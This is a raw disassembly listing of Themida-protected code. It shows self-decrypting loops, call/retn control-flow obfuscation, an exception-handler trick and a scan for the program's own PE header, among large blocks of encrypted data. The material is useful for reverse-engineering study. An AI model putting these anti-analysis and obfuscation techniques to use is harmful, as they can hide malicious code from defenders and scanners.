					; Themida_:005CDCE8j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CDCD1
		jmp	short loc_5CDD07
; ---------------------------------------------------------------------------


loc_5CDCEC:				; CODE XREF: Themida_:005CDD03j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CDCEC
		jmp	short $+2


loc_5CDD07:				; CODE XREF: Themida_:005CDCEAj
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5CDD14
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDD14	proc near		; CODE XREF: Themida_:005CDD0Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5CDD14	endp

; ---------------------------------------------------------------------------
		test	al, 8Ah
		fdiv	dword ptr [ebx]
		mov	ebp, 6151E71h
		push	0
		push	esi
		call	sub_5CDD38
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDD38	proc near		; CODE XREF: Themida_:005CDD30p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5CDD38	endp

; ---------------------------------------------------------------------------
		dd 2EE4CC7Bh, 83F9F244h, 151115BDh, 850F0306h, 3D6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D8C35040h, 94953B28h
		dd 0F8AA3F90h, 0BF99BD83h, 0F000618h, 3A584h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0E1950152h, 8B061526h, 152DD1BDh, 99B5FF06h,	6A0618BFh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E97BC356h, 0Dh, 24BB1240h, 973D3EA5h, 0EFB3407Fh
		dd 0E195FFB3h, 6A061510h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8B02C357h, 18BF8DB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0DBBF0F64h, 106C7h, 6A0001h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A435DEC3h
		dd 2C3B319Eh, 60253766h, 2EC18D01h, 0BD890615h,	6152489h
		dd 8B519661h, 0F505BFAh, 587h, 0BE30BF00h, 6A966F3Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 2877C350h, 4F220240h, 6860F56h, 89000000h, 152DDDBDh
		dd 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 4D54C355h, 0FFFABF0Fh
		dd 1506A195h, 559D8906h, 8B06152Ah, 18BF8DB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0CC4E2855h, 0A257249h, 858B2491h, 6150059h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 7CC35040h, 0F3D08752h
		dd 0E28AEF54h, 0C48689F5h, 8B000000h, 21958BDAh, 66061527h
		dd 7C40C781h, 8B04C283h, 1533B1BDh, 20508906h, 6E9h, 5C3B8100h
		dd 8D144F50h, 18D45885h, 6DBD8906h, 89061519h, 0B886h
		dd 0FDB58900h, 6A06150Ch, 0FFFC8A00h, 18BF99B5h, 0F937BF06h
		dd 95FF3E84h, 6151D4Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0FFC35242h, 0EB02EB2Bh, 18E944FBh, 0DE86Ch
		dd 5FDD0000h, 13626145h, 7B52A837h, 8146E1DFh, 4D9D8D7h
		dd 0A1BB5F0Bh, 5061B451h, 348972B3h, 56006A24h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0FD2CC835h
		dd 5FCB81F8h, 892F60BEh, 1526659Dh, 99B5FF06h, 660618BFh
		dd 0FF8329BBh, 15072995h, 65BD8306h, 61500h, 5F840Fh, 0BD8B0000h
		dd 61518BDh, 8E850FCh, 4E000000h, 39C81815h, 0FAB66D8h
		dd 1989h, 14E900h, 8CEC0000h, 500DEB1Ch, 84CC9BF6h, 0C1043C83h
		dd 0E523CE08h, 895B8FABh, 6A2434h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 8B3AB9C3h, 0A9E54939h
		dd 8BF598E6h, 99B5FFFEh, 6A0618BFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9FB0C356h
		dd 0C2166017h, 2625B589h, 95FF0615h, 6150439h, 0E47F47BBh
		dd 99B5FF57h, 90618BFh,	1503658Dh, 2800F06h, 8B000000h
		dd 0CD95FFD9h, 6A06150Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0C248C352h,	21935E0Fh
		dd 2913BBFFh, 1510ED85h, 5DBD8306h, 2061528h, 20840Fh
		dd 0BF0F0000h, 49858BDAh, 60061528h, 0B5D18166h, 0C661F5D7h
		dd 9D8B0000h, 6150081h,	0DB19589h, 85C70615h, 61523F5h
		dd 0
		dd 19B99D8Bh, 0C1E90615h, 6AFFFFF3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 39C6C350h
		dd 0C042C17Eh, 0C18B006Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0BDC35747h, 5B122004h, 0DD168583h, 659D8BFDh
		db 28h,	15h, 6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CE1A8


loc_5CE187:				; CODE XREF: sub_5CE1A8+1Aj
		jle	loc_5CE193
		mov	ebx, [ebp+61505ADh]


loc_5CE193:				; CODE XREF: Themida_:005CD3FCj
					; sub_5CE1A8:loc_5CE187j
		call	sub_5CE1A8
		retn
; END OF FUNCTION CHUNK	FOR sub_5CE1A8
; ---------------------------------------------------------------------------
		db 32h,	0A0h, 42h
		dd 0DD6FD429h, 3727525Ch, 0AC79ADACh

; =============== S U B	R O U T	I N E =======================================



sub_5CE1A8	proc near		; CODE XREF: sub_5CE1A8:loc_5CE193p

; FUNCTION CHUNK AT 005CE187 SIZE 00000012 BYTES

		adc	cx, 0B72Fh
		pop	esi
		mov	dl, 0BAh
		add	esi, 75A3h
		call	sub_5CE1C6
		stc
		xor	[edi+5E3DAF0Ch], dh
		jno	short loc_5CE187
		mov	al, 43h
sub_5CE1A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CE1C6	proc near		; CODE XREF: sub_5CE1A8+Ep
		jbe	loc_5CE1D2
		sub	[ebp+6150DE5h],	edi


loc_5CE1D2:				; CODE XREF: sub_5CE1C6j
		pop	edx
		mov	eax, 0
		mov	edi, 3F123ED0h


loc_5CE1DD:				; CODE XREF: Themida_:005CE25Dj
		push	dword ptr [eax+esi]
		mov	ecx, [ebp+615038Dh]
		pop	ebx
		call	sub_5CE1F5
		in	al, dx
		retn
sub_5CE1C6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 75FDh
		dd 976AC6Ah
; ---------------------------------------------------------------------------
		xchg	eax, ebx

; =============== S U B	R O U T	I N E =======================================



sub_5CE1F5	proc near		; CODE XREF: sub_5CE1C6+21p
		mov	dx, ax
		pop	edi
		sub	ebx, 1886AC4Dh
		or	[ebp+6151291h],	edi
		sub	ebx, 55224848h
		mov	dx, 0A38Bh
		add	ebx, 0DF81405h
		push	ebx
		call	near ptr loc_5CE227+2
		insb
		adc	al, 9Fh
		imul	esi, eax, -5Eh
		xor	al, 0A8h
		dec	ecx
		xchg	al, ch
		inc	esp


loc_5CE227:				; CODE XREF: sub_5CE1F5+21p
		cmp	dword ptr [edi+ebx*2-71h], 4
sub_5CE1F5	endp ; sp-analysis failed

		push	es
		mov	ecx, 2B4FE025h
		jmp	loc_5CE244
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0F7B41ECFh, 8E6C7B49h, 47B4AE07h
; ---------------------------------------------------------------------------


loc_5CE244:				; CODE XREF: Themida_:005CE232j
		sub	eax, 3234BF9Eh
		add	[ebp+61508F1h],	eax
		add	eax, 3234BF9Ah
		stc
		cmp	eax, 0FFFF8B24h
		jnz	loc_5CE1DD
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		add	edx, 14h
		mov	[ebp+6152F99h],	edx
		sub	edx, 14h
		lea	eax, [ebp+61A48DAh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5CE29C:				; CODE XREF: Themida_:005CE2BEj
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5CE2B9
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5CE2C3


loc_5CE2B9:				; CODE XREF: Themida_:005CE2A1j
		sub	eax, 1000h
		jmp	loc_5CE29C
; ---------------------------------------------------------------------------


loc_5CE2C3:				; CODE XREF: Themida_:005CE2B3j
		mov	ecx, eax
		mov	[ebp+6150031h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+6151D79h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+6150231h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+615119Dh],	edx
		add	edx, [eax+8]
		mov	[ebp+615099Dh],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5CE31C
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5CE31C:				; CODE XREF: Themida_:005CE304j
		cmp	dword ptr [ebp+61509CDh], 0
		jz	loc_5CE34D
		mov	byte ptr [ebp+61509C5h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+6152811h]
		lea	eax, [ebp+61872BCh]
		call	eax
		push	0
		call	eax
		mov	[ebp+6150A3Dh],	eax


loc_5CE34D:				; CODE XREF: Themida_:005CE323j
		mov	edx, ebx
		lea	ecx, [ebp+61A49CCh]
		mov	[ebp+6150AA1h],	edx
		push	ecx
		stc
		pop	ebx
		mov	[ebp+6152721h],	ecx
		add	edi, [ebp+61511F9h]
		mov	dword ptr [ebp+61504CDh], 70E8h
		push	0
		push	edx
		call	sub_5CE37F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE37F	proc near		; CODE XREF: Themida_:005CE377p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5CE37F	endp

; ---------------------------------------------------------------------------
		db 0A5h
		dd 20C5B58Bh, 85C70615h, 6151115h, 0
		dd 0AE8h, 0BEB1F800h, 0C7C806E0h, 0FC5254Fh, 281h, 5A5B5000h
		dd 2E0DB5FFh, 9D0B0615h, 6152401h, 2C995FFh, 6A0615h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 64958BC3h, 3CDA0E67h, 9D893C8Dh, 615073Dh, 95FF006Ah
		db 21h,	2Eh, 15h
; ---------------------------------------------------------------------------


loc_5CE3FB:				; DATA XREF: Themida_:0057A16Co
					; Themida_:0057C6C0o
		push	es
		mov	eax, eax
		jmp	short loc_5CE47C
; ---------------------------------------------------------------------------
		push	ds
		push	edi
		add	[edi], esp
		cmp	al, 0C8h


loc_5CE406:				; CODE XREF: Themida_:005CE407j
		lodsd
		jge	short loc_5CE406
		fcomip	st, st(3)
		xor	eax, 1D2181A7h
; ---------------------------------------------------------------------------
		dd 0CAAD6F64h, 1A3066DFh, 7E29DCF8h, 1E131B31h,	603D7150h
		dd 0CAC985FCh, 0A2727453h, 0F8B9A9AEh, 249F0775h, 0CFDA9389h
		dd 442B9A2Ch, 0E988B999h, 0C846BB64h, 0A9286687h, 24101CA3h
		dd 8279EBD8h, 5898D3AFh, 0CA6533CCh, 4C7EAA07h,	53F20ECFh
		dd 0CA7127BCh, 0C772C3EBh, 210AA99h, 89118BD2h,	4798F8E6h
		dd 0AAC11651h, 25E51D28h
; ---------------------------------------------------------------------------


loc_5CE47C:				; CODE XREF: Themida_:005CE3FEj
		lea	ecx, [ebp+61A4B33h]
		push	0
		push	ebx
		call	sub_5CE48D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE48D	proc near		; CODE XREF: Themida_:005CE485p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5CE48D	endp

; ---------------------------------------------------------------------------
		db 0A8h, 0BDh, 63h
; ---------------------------------------------------------------------------
		mov	ebx, 75958BF7h
		or	ds:218D8906h, edx
		daa
		adc	eax, 53006A06h
		call	sub_5CE4B9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE4B9	proc near		; CODE XREF: Themida_:005CE4B1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CE4B9	endp

; ---------------------------------------------------------------------------
		mov	ds:0D38B66A5h, al
		jle	loc_5CE4D7
		movsx	esi, si


loc_5CE4D7:				; CODE XREF: Themida_:005CE4CEj
		mov	dword ptr [ebp+61504CDh], 69F0h
		push	0
		push	esi
		call	sub_5CE4EC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE4EC	proc near		; CODE XREF: Themida_:005CE4E4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5CE4EC	endp

; ---------------------------------------------------------------------------
		jz	short loc_5CE577
		add	eax, 0EEBCCC33h
		sub	edi, [ebp+6150429h]
		mov	al, 0DAh
		mov	dword ptr [ebp+6151115h], 0
		pusha
		mov	[ebp+6152C91h],	ebx
		jle	loc_5CE524
		pusha
		popa


loc_5CE524:				; CODE XREF: Themida_:005CE51Cj
		popa
		push	dword ptr [ebp+6152CBDh]
		push	0
		push	edx
		call	sub_5CE536
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CE536	proc near		; CODE XREF: Themida_:005CE52Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5CE536	endp

; ---------------------------------------------------------------------------
		dw 1BE0h
; ---------------------------------------------------------------------------
		shl	byte ptr [edi+62D28372h], 1
		db	26h, 36h
		add	dx, 0F6DDh
		call	dword ptr [ebp+61502C9h]
		push	0
		call	dword ptr [ebp+6152E21h]
		mov	eax, eax
		jmp	short loc_5CE582
; ---------------------------------------------------------------------------
		db 89h
		dd 9228A9EFh, 0EC3681C2h, 8A147985h
		db 19h,	25h, 0AFh
; ---------------------------------------------------------------------------


loc_5CE577:				; CODE XREF: Themida_:005CE4FCj
		cmp	al, 0B0h
		retn	0CC67h
; ---------------------------------------------------------------------------
		dd 7BCDB2B0h
; ---------------------------------------------------------------------------
		and	bl, ah


loc_5CE582:				; CODE XREF: Themida_:005CE565j
		jmp	loc_5CE59E
; ---------------------------------------------------------------------------
		db 7Eh
		dd 763BB0h, 4 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5CE59E:				; CODE XREF: Themida_:loc_5CE582j
		jmp	loc_5CEAA6
; ---------------------------------------------------------------------------
		db 98h
		dd 58C7AE1Eh, 978C69D9h, 60CFA616h, 8EA570E0h, 0C2D9BC2Ch
		dd 0E454D6C9h, 2D9D2211h, 0E959DB48h, 2494170Ch, 0ED588651h
		dd 169CB9A4h, 2476C647h, 525F57C7h, 0A0BE80F0h,	86F2FC25h
		dd 65AE7F10h, 0ADA29404h, 281AEBDh, 2C8FA492h, 8697ABCh
		dd 9B029E98h, 0C0309334h, 1D7EFE35h, 86F263A6h,	16390A10h
		dd 4201DB7Fh, 1086F21Fh, 0F280C97Ch, 5A6B1086h,	3861E4E6h
		dd 0C31086F2h, 0FC2DDDF2h, 0E54E1080h, 0BD771383h, 0E3D343A4h
		dd 4500DEE0h, 1086F21Ch, 751CCEDFh, 8FFF7D4Ah, 0E84F64E6h
		dd 22A19278h, 0F2DF02C1h, 8D9E1086h, 10C0B9AAh,	0F3DCE639h
		dd 4D1C40C3h, 0D75E1086h, 0D8DC61E8h, 357E97A8h, 82A248B8h
		dd 72h,	57C72496h, 0F2BFE45Fh, 3ABB1086h, 0EE525F93h, 5E71E162h
		dd 8836758h, 97A81AA5h,	0A2Bh, 40342100h, 9166E511h, 24A58D7Dh
		dd 288955C5h, 615E58C8h, 9BC18B89h, 86F2E128h, 1C9F8C10h
		dd 2AE783ACh, 44B43BC7h, 64527D52h, 6579E94Fh, 0F285CC77h
		dd 84FF1086h, 38572391h, 0A94152CEh, 416CF36Bh,	0ABB32386h
		dd 0D9B12186h, 960665BAh, 0C62439FFh, 6748B83Ah, 4FBF422Fh
		dd 51C1426Fh, 0D5BC7BB9h, 0FC5DDDEAh, 64C131B7h, 1086F23Dh
		dd 74CFEFC0h, 1086F22Dh, 45D0FFD0h, 411D8DEEh, 462494F0h
		dd 0EA5ADBC8h, 0FCE34EACh, 0A81C104Dh, 845897h,	5D560000h
		dd 9C806ADAh, 6056C624h, 48B8357Eh, 4251636Fh, 7119AF98h
		dd 61E445C0h, 1086E638h, 0D9DDF2C3h, 390C6DC8h,	1086E610h
		dd 0B1E5CADBh, 1CF799E4h, 868DD410h, 7E82B424h,	753BA817h
		dd 0AA08BFEEh, 66C45B3Ah, 0C9E656DAh, 41D6FFCDh, 5F86089h
		dd 9C1C0DFDh, 2990EA2Ch, 3B1B3CB6h, 0BA7CB2FAh,	237635D5h
		dd 8997A8A3h, 2Dh, 56C6249Dh, 0B4357E60h, 765A644h, 73269F97h
		dd 87F77B4Ch, 0C5244AEEh, 0BAE26155h, 0B81086F2h, 2EBB8E41h
		dd 0B697A81Ah, 1, 59C924D2h, 446D6F5Dh,	8BCE77E7h, 721086F2h
		dd 0EB48C9A1h, 0C3263B7Bh, 0E94E6353h, 137A3D79h, 0A70E37ACh
		dd 0A22E8F38h, 0F99CB323h, 1DD0DB1h, 0E454D6DBh, 0D343C1B2h
		dd 3E63E2FCh, 0BD1086F2h, 879FFEECh, 34169BFCh,	0C0A7AFFh
		dd 56675733h, 80F05360h, 0E74869F5h, 15969377h,	0BBBC99A5h
		dd 0B82BEABEh, 1FA6907Ah, 169377F8h, 1BAC1386h,	0D64D2898h
		dd 0C0B1E555h, 24E3D343h, 2685426Dh, 77DBFEC5h,	75A21693h
		dd 0BF9086F6h, 0AD1DA390h, 3BBEF382h, 0DB9DBD9Fh, 11FD98FAh
		dd 4327BC8Ch, 0F8D7h, 0BABB300h, 304003DBh, 0CD169BF6h
		dd 0F611380Bh, 0CBDC1693h, 42C1B2E4h, 8FEC43D2h, 0A90A171Fh
		dd 0AB0C2539h, 22E54F3Bh, 83446Bh, 4DB00590h, 0D39DBD1Eh
		dd 47h,	0C20EABE7h, 0DFFFD040h,	130373D2h, 370E503Ah, 9086F232h
		dd 8D6E8B9h, 0DCDA4AABh, 0F21F42E3h, 0CDDE9086h, 0E3C6CAEAh
		dd 8E7C5965h, 94FC25A0h, 98FF9086h, 28582925h, 944AAF16h
		dd 20F11086h, 7B6F55h, 0AB4B0000h, 4003DB0Bh, 169C0670h
		dd 0E9FA3C0Dh, 0A47B1A8Ah, 3A5FE647h, 581693E6h, 0D80A2CE3h
		dd 0CAB7699Bh, 0C3BCFA6Ah, 70D3C3ECh, 1693502Eh, 4B7C63D6h
		dd 0D9D78E8h, 8AEB4869h, 82231C1Ah, 1693565Fh, 1C220D1Eh
		dd 0B499DCA9h, 484E5F10h, 60D02D86h, 80B15936h,	0A0A39303h
		dd 8B17959Eh, 9E98B727h, 0E3269DA1h, 8A1CA91Dh,	0F7E6D1B9h
		dd 6777A757h, 8ED209DCh, 0DABB8C1Ah, 0DB0BAB4Eh, 3DA54003h
		dd 673816A1h, 51C1422Fh, 0A40C6FC4h, 2F967CEEh,	169CB3EAh
		dd 8EB78091h, 340A253Ah, 0A4350523h, 0BA5000D5h, 6EF2F97Ch
		dd 8DEC86B2h, 6C70992Ch, 2AFB66BAh, 0A1201105h,	92F90531h
		dd 71F8B82Bh, 0BA2A893Eh, 0C60BBAA4h, 0A566BA6Ch, 0A9199F94h
		dd 8BA8B2C1h, 817EB828h, 5BCB28E9h, 72E2465Bh, 0E5D84144h
		dd 24F161E2h, 0FA3CAC0Fh, 7AA84314h, 0BB42240Fh, 10F3CFh
		dd 4FC70000h, 0F293B68Dh, 2D5A1086h, 98725DCDh,	0CA2496A6h
		dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h
		dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 56783C7Ah, 0C681E689h
		dd 4, 8704EE83h, 895C2434h, 89572404h, 4C781E7h, 83000000h
		dd 3C8704EFh, 1C895C24h, 4D256824h, 4890000h, 0B685124h
		dd 596D0B76h, 2B60C181h, 0F1817278h, 0D999EA1Fh, 0C8BCB89h
		dd 4C48124h, 68000000h,	254h, 83242489h, 58042404h, 89DA8952h
		dd 148B0850h, 4C48324h
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_581882
; ---------------------------------------------------------------------------
		dw 1A84h
		dd 2D8795A4h, 0D7829140h
		db 0A3h, 0B2h
; ---------------------------------------------------------------------------


loc_5CEAA6:				; CODE XREF: Themida_:loc_5CE59Ej
		mov	eax, 61A4FE4h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 74h
		dd 0EF4B5037h, 0AA68A2FAh, 1663560Ch, 54179EE1h, 0E03809EFh
		dd 7C21BB55h, 0DE6ADCA5h, 0D4D4712Ah, 1DC4B46h,	0D4C8557Fh
		dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338D2FF6h
		dd 0FFB44E60h, 0F867A5E4h, 0A08D0E22h, 2124A3BEh, 7967202Bh
		dd 0D91DA3BAh, 0D71B2026h, 338D2FFEh, 831D2933h, 0C0982633h
		dd 0BCC88AB6h, 0D6157635h, 0AF8276ADh, 510DD963h, 839E333Eh
		dd 35982664h, 1F152359h, 4B82769Dh, 381DAB63h, 39E3C63h
		dd 0AD29B3CCh, 14932026h, 6AA1A23Ch, 0B0152633h, 9C82769Dh
		dd 4DAACE63h, 0F6D82633h, 32CA3BEh, 24C82029h, 0CEC888B6h
		dd 0FF677635h, 338D091Ah, 1794E2B0h, 57C888B6h,	23157635h
		dd 558276ADh, 2C0DD963h, 3D9E333Eh, 6A982651h, 6474AD66h
		dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch
		dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h
		dd 0E868AD03h, 5AAD63h,	0A9982C88h, 0D49BCF33h,	896F2633h
		dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh,	0D697E638h
		dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h,	9C8276AFh
		dd 1C49ABBEh, 93202029h, 78000000h, 271E7FCh, 0C8D00731h
		dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 61A51D1h,	51F08D8Dh
		dd 0CF2B061Ah, 8B05E983h, 0AE8C8h, 1EBD0000h, 20ADBD5Ah
		dd 0D991D965h, 91958959h, 81061533h, 71CEC1h, 68D78B00h
		dd 0
; ---------------------------------------------------------------------------
		xor	eax, 1D1C99A2h
		pop	ebx
		cld


loc_5CEC4C:				; CODE XREF: Themida_:005CECA4j
		mov	esi, [ecx+ebx]
		sbb	dh, 18h
		xor	esi, 5459A010h
		adc	eax, 469D5462h
		sub	esi, 49CDF69Fh
		add	esi, 69C501B7h
		mov	eax, ebx
		push	esi
		mov	[ebp+6152D01h],	edx
		pop	dword ptr [ecx+ebx]
		sbb	dx, 0AFB9h
		or	edx, [ebp+61518F5h]
		sub	ebx, 6C3CF241h
		mov	[ebp+6152489h],	esi
		add	ebx, 6C3CF23Dh
		jno	loc_5CEC9E
		add	di, 547Dh


loc_5CEC9E:				; CODE XREF: Themida_:005CEC93j
		cmp	ebx, 0FFFF8EB8h
		jnz	loc_5CEC4C
		sub	[ebp+6151431h],	edx
		call	near ptr loc_5CECB8+2
		jle	short loc_5CECD1
		push	es


loc_5CECB8:				; CODE XREF: Themida_:005CECB0p
		mov	ds:0CA8B667Ah, al
		pop	esi
		jns	$+6
		add	esi, 5E6Dh
		mov	dh, 96h
		push	0


loc_5CECD1:				; CODE XREF: Themida_:005CECB5j
		mov	ecx, 37BA2FA0h
		pop	edi
		mov	cx, bx
; START	OF FUNCTION CHUNK FOR sub_5CED59


loc_5CECDA:				; CODE XREF: sub_5CED59+7j
		push	dword ptr [edi+esi]
		mov	edx, 4B4A3266h
		pop	eax
		mov	[ebp+615272Dh],	esi
		add	eax, 75837000h
		mov	bh, 14h
		add	eax, 1DF480B9h
		mov	ecx, [ebp+6151339h]
		sub	eax, 1CDC5591h
		mov	edx, 6742AF97h
		push	eax
		or	[ebp+61516CDh],	ecx
		pop	dword ptr [esi+edi]
		adc	dh, 15h
		sbb	edx, 49BF692Fh
		sub	edi, 4		; CODE XREF: sub_5CED59-13j
		mov	ecx, [ebp+615216Dh]
		cmp	edi, 0FFFFA24Ch
		jnz	loc_5CED41
		mov	[ebp+61528B1h],	ecx
		jmp	loc_5CED72
; END OF FUNCTION CHUNK	FOR sub_5CED59
; ---------------------------------------------------------------------------
		db 0F4h
		dd 0A7853A9Bh
		db 0D1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CED59


loc_5CED41:				; CODE XREF: sub_5CED59-2Fj
		call	sub_5CED59
		jb	short near ptr loc_5CED1B+1
		db	3Eh
		pop	esi
		mov	word ptr [esi-43h], ss
		icebp
		push	edx
		stosb
		sbb	edx, [edx]
		hlt
; END OF FUNCTION CHUNK	FOR sub_5CED59
; ---------------------------------------------------------------------------
		add	cl, dh
		aad	0D2h
		jz	short loc_5CED8C

; =============== S U B	R O U T	I N E =======================================



sub_5CED59	proc near		; CODE XREF: sub_5CED59:loc_5CED41p

; FUNCTION CHUNK AT 005CECDA SIZE 00000061 BYTES
; FUNCTION CHUNK AT 005CED41 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005CED72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CED7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CF1AA SIZE 00000009 BYTES

		mov	[ebp+615189Dh],	edx
		pop	ecx
		jmp	loc_5CECDA
sub_5CED59	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 65h,	0C1h, 9Fh
		dd 0A294EF7Eh, 91CE8630h
		db 0E0h, 93h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CED59


loc_5CED72:				; CODE XREF: sub_5CED59-23j
		jmp	loc_5CED7D
; END OF FUNCTION CHUNK	FOR sub_5CED59
; ---------------------------------------------------------------------------
		db 5Fh
		db 86h,	0D2h
		dw 24h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CED59


loc_5CED7D:				; CODE XREF: sub_5CED59:loc_5CED72j
		jmp	loc_5CF1AA
; END OF FUNCTION CHUNK	FOR sub_5CED59
; ---------------------------------------------------------------------------
		dw 0F777h
		dd 0C041EE87h, 0F6EC550h
; ---------------------------------------------------------------------------


loc_5CED8C:				; CODE XREF: Themida_:005CED57j
		lahf
		imul	byte ptr [ecx]
		mov	dword ptr [edi-42h], 0D4A11171h
		xlat
		aam	0D9h
		pop	ecx
		jmp	near ptr 20ED04ABh
; ---------------------------------------------------------------------------
		db 55h
		dd 7EE5EDEh, 4A2B9B18h,	0ABEE5579h, 52169CA1h, 0C724AB91h
		dd 0F0525F57h, 0BD3EF580h, 0DB58494Dh, 0B3362B6Bh, 0B3367B43h
		dd 0F16DA743h, 2784436Ah, 0F351DEB7h, 0BF3DF283h, 0D55A474Fh
		dd 0E3523165h, 5DE8F6FCh, 1086F234h, 704E6B7h, 0D36035A5h
		dd 0AF160070h, 1086F26Fh, 86C3EA8Bh, 97A81A23h,	0E72A99C3h
		dd 0F91086FEh, 899A0676h, 5841E1h, 4F550000h, 0F293B68Dh
		dd 2D5A1086h, 67585ECEh, 1271A248h, 3C29CA2h, 1086F2DEh
		dd 0A414709Dh, 0BA2A888Bh, 2DE7837Ch, 86F281C6h, 6954E510h
		dd 0A81A5DE0h, 1E397h, 24B70000h, 506155C5h, 9C9581F1h
		dd 0F66AAC1Ch, 2287406Fh, 3A77E3B2h, 704D49B9h,	0AA1A999Ah
